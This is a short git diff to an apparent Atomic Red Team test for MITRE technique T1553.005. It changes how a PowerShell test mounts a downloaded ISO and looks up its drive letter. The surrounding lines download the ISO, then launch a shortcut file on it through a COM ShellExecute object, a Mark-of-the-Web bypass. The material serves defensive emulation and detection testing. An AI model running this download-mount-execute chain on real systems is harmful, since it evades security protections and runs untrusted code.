diff --git a/atomics/T1553.005/T1553.005.yaml b/atomics/T1553.005/T1553.005.yaml
index d55d2463..aa5b5612 100644
--- a/atomics/T1553.005/T1553.005.yaml
+++ b/atomics/T1553.005/T1553.005.yaml
@@ -110,7 +110,8 @@ atomic_tests:
       Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"
   executor:
     command: |
-      $keep = Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
+      Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
+      $keep = Get-Volume -FileSystemLabel "AllTheThings"
       $driveLetter = ($keep | Get-Volume).DriveLetter
       $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
       $instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)